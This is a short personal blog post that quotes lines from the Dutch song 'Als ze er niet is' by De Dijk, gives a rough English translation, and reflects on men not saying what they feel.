When I told my collegue this song described my feelings so accurately he commented that it would probably describe the feelings of all males so it seems somewhat important to repeat it. It is in Dutch and I will try to translate it but unfortunately a lot of the poetics is gone in a reasonable accurate English translation:<\/p>\n

Tien tegen \u00c3\u00a9\u00c3\u00a9n
\nDat ik mijn mond hou
\nAls ik je weer zie
\nIk ken mezelf onderhand
\nEen prater ben ik niet
\n“Hoe was het hier”
\nZal je vragen
\nEn ik zal zeggen “goed”
\nEn ik zeg je niet
\nWat ik nu denk
\nDat ik je eigenlijk zeggen moet<\/p><\/blockquote>\n

Roughly, it translates to something like this:<\/p>\n

Ten to one
\nThat I won’t say a thing
\nWhen I see you again
\nI know myself by now
\nI’m not a talker
\n“How were things here”
\nYou will ask
\nAnd I will say “fine”
\nAnd I don’t say to you
\nThat what I know think
\nI should say to you<\/p><\/blockquote>\n

“Als ze er niet is” bij “De Dijk”. Pure genious.<\/p>\n

A man knows not what he’s missing until she’s gone.<\/p><\/blockquote>\n

It’s true.<\/p>\n
